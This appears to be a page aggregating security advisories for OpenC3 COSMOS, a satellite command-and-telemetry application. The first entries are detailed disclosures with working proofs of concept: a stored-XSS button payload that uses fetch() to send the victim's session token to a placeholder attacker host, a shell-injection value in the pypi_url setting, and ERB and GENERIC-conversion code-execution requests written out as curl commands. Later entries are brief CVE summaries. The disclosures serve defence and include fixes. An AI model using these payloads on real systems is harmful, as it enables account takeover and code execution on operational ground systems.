See how openc3 compares to other vendors in security performance
Summary A user who can save a telemetry screen (permission systemset) can embed JavaScript in a screen BUTTON widget. The BUTTON widget eval()s the stored button text in the browser when the button is activated, and screens are shared content rendered to other users in the scope. As a result, an attacker's stored JavaScript executes in a different operator's authenticated session — a stored, cross-user XSS (not self-XSS). The payload runs in the COSMOS origin and can read localStorage.openc3Token (the victim's session token), enabling session/account takeover and, via the victim's privileges, a path to server-side code execution through the Script Runner.
The site's Content-Security-Policy permits 'unsafe-inline'/'unsafe-eval' (see "Contributing factor"), so the injected script runs unimpeded.
- Product: OpenC3 COSMOS (Core; likely Enterprise — see scoping note) - Affected version: confirmed 7.2.0 (latest, tested 2026-06-25); the code path is present on main. Lower bound for maintainer to confirm. - Reporter: Arpit Kubadia
Description & root cause 1. Screen save (the store): POST /openc3-api/screen → ScreensController#create (openc3-cosmos-cmd-tlm-api/app/controllers/screenscontroller.rb:35-43) persists the raw screen text after authorization('systemset'). No sanitization of the screen body. 2. The sink (the execution): the BUTTON widget stores the button's action as its second parameter and eval()s it on click — openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109: js const lines = this.eval.split(';;') // this.eval == parameters[1] from the stored screen ... const result = eval(lines[i].trim()) // attacker-controlled string -> arbitrary JS in the victim's session 3. Cross-user delivery: screens are stored per-scope and rendered to any user who opens them (e.g. in Telemetry Viewer). So a screen saved by user A executes in user B's browser. 4. Contributing factor (CSP): openc3-traefik/traefik.yaml:63 sets script-src 'unsafe-inline' 'unsafe-eval' https: blob: ... on every SPA response, so the injected/eval'd script is not blocked. (Reportable as a hardening item in its own right.)
Proof of Concept
A. Minimal PoC — a button that steals the viewer's token (verified) Authenticated as any user (Core) / a systemset user (Enterprise), store a screen: POST /openc3-api/screen HTTP/1.1 Host: localhost:2900 Content-Type: application/json Authorization: ses<YOURTOKEN> Content-Length: 224
{"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"} → HTTP 200, body true. Trigger (as the victim): open http://<host>:2900/tools/tlmviewer → Target INST, Screen XSSPOC → click Refresh. The victim's session token is exfiltrated to ATTACKER-COLLABORATOR. (Verified: an out-of-band request carrying a live ses… token was received at the attacker host.)
A purely visual variant: replace the action with alert(localStorage.openc3Token).
B. Realistic exploitation — hijack an EXISTING operational screen (no lure) The minimal PoC needs the victim to open the attacker's screen. The realistic attack overwrites a screen operators already use, hiding the payload behind a button they already click: - The BUTTON action is eval'd after this.eval.split(';;'), so appending ;; <payload> to an existing button keeps the original command working and adds the attacker's code. The operator sees no change. - Example: take the stock INST COMMANDING screen's Start Collect button (which sends api.cmd('INST COLLECT ...')) and append: ... + " ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))" Re-save the screen (POST /openc3-api/screen, same route). Now every operator who opens COMMANDING and clicks Start Collect during normal operations sends the real command and leaks their session token. No new button, no behavioral change, no social-engineering lure.
Impact The injected script runs with the victim's session in the COSMOS origin. It can: - Exfiltrate the victim's session token (localStorage.openc3Token) → session/account takeover (the token is a bearer credential accepted in the Authorization header). - Act as the victim against the API, and — for a victim with script privileges — pivot to the Script Runner to achieve server-side code execution (the documented escalation chain). This is cross-user / persistent: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS.
Remediation 1. Do not eval() screen-supplied strings. Replace the BUTTON widget's eval with a constrained, non-eval command interface (an allow-listed API surface / safe expression evaluator), or sandbox it. 2. Tighten the CSP (openc3-traefik/traefik.yaml): remove 'unsafe-inline'/'unsafe-eval', move to per-request nonce + 'strict-dynamic', add object-src 'none', base-uri 'self', frame-ancestors 'self'. This alone neutralizes injected inline/eval'd script. 3. Treat screens as untrusted, cross-user content — escape/validate on render; consider gating screen-embedded JavaScript behind a dedicated, clearly-privileged capability rather than the general systemset.
Summary An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypiurl setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.
Details The pypiurl value is written through the setsetting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.
During plugin install, PluginModel.installphase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/pluginmodel.rb:288):
ruby pypiurl = getsetting('pypiurl', scope: scope) # attacker-controlled, no validation pypiurl += '/simple' if pypiurl pipargs = "-i #{pypiurl} -r #{requirementspath}" output = /openc3/bin/pipinstall #{pipargs} # Ruby backtick -> /bin/sh -c
getsetting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.
The sibling installer openc3/lib/openc3/models/pythonpackagemodel.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. pluginmodel.rb:288 is the single site that uses a backtick.
PoC Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.
1. Obtain a session token: POST /openc3-api/auth/verify {"password":"<password>"} 2. Write the setting (JSON-RPC): POST /openc3-api/api {"jsonrpc":"2.0","method":"setsetting", "params":["pypiurl","https://pypi.org ; id > /tmp/A1PWNED 2>&1 ; #"], "keywordparams":{"scope":"DEFAULT"},"id":1} 3. Upload a plugin gem that contains a requirements.txt: POST /openc3-api/plugins (multipart: plugin=@malicious.gem, scope=DEFAULT) 4. Install it: POST /openc3-api/plugins/install/<id> (pluginhash from step 3, scope=DEFAULT)
The injected command executed inside the install process. Contents of the marker file written by the payload: uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)
Impact Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.
In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.
Suggested fix Run pipinstall through an argv array instead of a shell, matching pythonpackagemodel.rb:95:
ruby pipargv = ["-i", pypiurl] pipargv += ["--trusted-host", URI.parse(pypiurl).host] unless ENV['PIPENABLETRUSTEDHOST'].nil? pipargv += File.exist?(pyprojectpath) ? [gempath] : ["-r", requirementspath] OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pipargv, "pluginpipinstall", File.basename(gempath), Time.now + 3600.0, scope: scope)
Optionally also validate pypiurl as an http(s) URL when the setting is written.
Summary
COSMOS reads configuration from a user-writable overlay (targetsmodified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERICREADCONVERSION / GENERICWRITECONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targetsmodified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.
Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):
1. Table definitions (immediate). tables#generate|report|load reads a definition from targetsmodified/ and ERB-renders it and evaluates its GENERICCONVERSION block in the cmd-tlm-api container. 2. Command/telemetry definitions (persistent). A file written to targetsmodified/<TARGET>/cmdtlm/ is overlaid by System.setuptargets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start. 3. Script Runner suites (immediate). A procedure written to targetsmodified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only scriptview tier through scripts#body and runningscript#show (the analysis subprocess is spawned when OPENC3SERVICEPASSWORD is configured, which it is in the shipped .env).
Details
Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/targetfile.rb, Python openc3/python/openc3/utilities/targetfile.py) reads {scope}/targetsmodified/{name} before {scope}/targets/{name}. The storage-upload endpoint storagecontroller.rb getuploadpresignedrequest is gated at systemset and exempts targetsmodified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorizebucketpath, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screenscontroller.rb create (systemset) stores its request body verbatim under targetsmodified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.
Sink 1, ERB. ConfigParser#parsefile renders the file as ERB before parsing (runerb defaults to true): ruby openc3/lib/openc3/config/configparser.rb:402 output = ERB.new(File.read(filename)...commenterb(), trimmode: "-").result(...) Reached for table definitions via tablescontroller.rb -> Table.getdefinitions -> TableConfig.processfile -> parsefile, and for cmd/tlm definitions via System.setuptargets (system.rb, whose overlay loop copies targetsmodified/<T>/cmdtlm/ over the read-only files) -> PacketConfig#processfile -> parsefile.
Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERICREADCONVERSIONSTART .. END / GENERICWRITECONVERSIONSTART .. END block, and GenericConversion#call evaluates it (independent of ERB): ruby openc3/lib/openc3/conversions/genericconversion.rb (call) eval(@codetoeval) Python openc3/python/openc3/conversions/genericconversion.py (call): compile()/exec()/eval() The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restoredefaults.
Sink 3, suite require. The Script Runner suite analysis executes the file: ruby openc3-cosmos-script-runner-api/scripts/runsuiteanalysis.rb:24 require ARGV[1] # runs all top-level code of the supplied file reached from Script.processsuite, invoked by scripts#body and runningscript#show (both scriptview) and scripts#create (scriptedit) when the file matches the suite pattern.
Permission tiers. Writing the payload needs systemset (screen save, storage upload) or scriptedit (script create); triggering needs system (tables) or scriptview (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires scriptrun).
PoC
Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above. bash BASE=http://localhost:2900/openc3-api # adjust to your deployment TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')
1) Write the payload into targetsmodified/ via the screen save endpoint. curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \ --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \ --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erbrcepoc", id) %>\nLABEL poc'
2) Trigger by pointing a table action at that file. curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \ --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt' Then in the cmd-tlm-api container: cat /tmp/erbrcepoc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.
The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger: TABLE "data" BIGENDIAN KEYVALUE "poc" APPENDPARAMETER "item1" 8 UINT 0 255 0 "Item" GENERICWRITECONVERSIONSTART id > /tmp/erbrcepoc 0 GENERICWRITECONVERSIONEND
cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targetsmodified/<TARGET>/cmdtlm/<file>.txt via the storage-upload presigned request (systemset), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targetsmodified/<TARGET>/procedures/<x>.rb and call scripts#body on it at scriptview.
The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.
Impact
Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.
All paths require valid authentication, and the triggering permissions (system/systemset/scriptview) are below the admin/scriptrun/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.
Suggested fix
The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly: - Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targetsmodified overlay with ERB disabled (runerb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature. - Allow only admin and the server-side dynamic-packet mechanism to write a cmdtlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently. - Run the Script Runner suite analysis (which executes the file) only at the scriptrun tier, at every entry point. - Mirror the definition-read change in the Python implementation.
OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. Prior to version 7.0.0-rc3, the Script Runner widget allows users to execute Python and Ruby scripts directly from the openc3-COSMOS-script-runner-api container. Because all the docker containers share a network, users can execute specially crafted scripts to bypass the API permissions check and perform administrative actions, including reading and modifying data inside the Redis database, which can be used to read secrets and change COSMOS settings, as well as read and write to the buckets service, which holds configuration, log, and plugin files. These actions are normally only available from the Admin Console or with administrative privileges. Any user with permission to create and run scripts can connect to any service in the docker network. This issue has been patched in version 7.0.0-rc3.
OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. Prior to version 7.0.0, the Command Sender UI uses an unsafe eval() function on array-like command parameters, which allows a user-supplied payload to execute in the browser when sending a command. This creates a self-XSS risk because an attacker can trigger their own script execution in the victim’s session, if allowed to influence the array parameter input, for example via phishing. If successful, an attacker may read or modify data in the authenticated browser context, including session tokens in local storage. This issue has been patched in version 7.0.0.
OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. Prior to versions 6.10.5 and 7.0.0-rc3, OpenC3 COSMOS contains a design flaw in the savetoolconfig() function that allows saving tool configuration files at arbitrary locations inside the shared /plugins directory tree by supplying crafted configuration filenames. Although the implementation sufficiently mitigates standard path traversal attacks, by canonicalizing filename to an absolute path, all plugins share this same root directory. That enables users to create arbitrary file structures and overwrite existing configuration files within the shared /plugins directory. This issue has been patched in versions 6.10.5 and 7.0.0-rc3.
OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. Prior to versions 6.10.5 and 7.0.0-rc3, the OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid session token, to gain persistence in hijacked account (including admin) and prevent legitimate users from accessing the account. This issue has been patched in versions 6.10.5 and 7.0.0-rc3.
OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From version 6.7.0 to before version 7.0.0-rc3, a SQL injection vulnerability exists in the Time-Series Database (TSDB) component of COSMOS. The tsdblookup function in the cvtmodel.rb file directly places user-supplied input into a SQL query without sanitizing the input. As a result, a user can break out of the initial SQL statement and execute arbitrary SQL commands, including deleting data. This issue has been patched in version 7.0.0-rc3.
Summary OpenC3 COSMOS contains a critical remote code execution vulnerability reachable through the JSON-RPC API. When a JSON-RPC request uses the string form of certain APIs, attacker-controlled parameter text is parsed into values using String#converttovalue. For array-like inputs, converttovalue executes eval().
Because the cmd code path parses the command string before calling authorize(), an unauthenticated attacker can trigger Ruby code execution even though the request ultimately fails authorization (401).
An issue in the /script-api/scripts/ endpoint of OpenC3 COSMOS 6.0.0 allows attackers to execute a directory traversal.
An issue in the openc3-api/tables endpoint of OpenC3 COSMOS 6.0.0 allows attackers to execute a directory traversal.
A credential leak in OpenC3 COSMOS before v6.0.2 allows attackers to access service credentials as environment variables stored in all containers.
OpenC3 COSMOS before v6.0.2 was discovered to contain hardcoded credentials for the Service Account.
A cross-site scripting (XSS) vulnerability in OpenC3 COSMOS before v6.0.2 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the URL parameter.
A remote code execution (RCE) vulnerability in the Plugin Management component of OpenC3 COSMOS v6.0.0 allows attackers to execute arbitrary code via uploading a crafted .txt file.
Weak password requirements in OpenC3 COSMOS v6.0.0 allow attackers to bypass authentication via a brute force attack.
Summary OpenC3 COSMOS stores the password of a user unencrypted in the LocalStorage of a web browser. This makes the user password susceptible to exfiltration via Cross-site scripting (see GHSL-2024-128).
Note: This CVE only affects Open Source edition, and not OpenC3 COSMOS Enterprise Edition
Impact This issue may lead to Information Disclosure.
Summary The login functionality contains a reflected cross-site scripting (XSS) vulnerability.
Note: This CVE only affects Open Source Edition, and not OpenC3 COSMOS Enterprise Edition
Impact This issue may lead up to Remote Code Execution (RCE).
Summary A path traversal vulnerability inside of LocalMode's openlocalfile method allows an authenticated user with adequate permissions to download any .txt via the ScreensController#show on the web server COSMOS is running on (depending on the file permissions).
Note: This CVE affects all OpenC3 COSMOS Editions
Impact This issue may lead to Information Disclosure.
Several vulnerabilities were found in OpenC3 COSMOS, a web application that is used to control satellites and test equipment. They can lead up to Remote Code Execution (RCE) via cross-site scripting (XSS).
Several vulnerabilities were found in OpenC3 COSMOS, a web application that is used to control satellites and test equipment. They can lead up to Remote Code Execution (RCE) via cross-site scripting (XSS).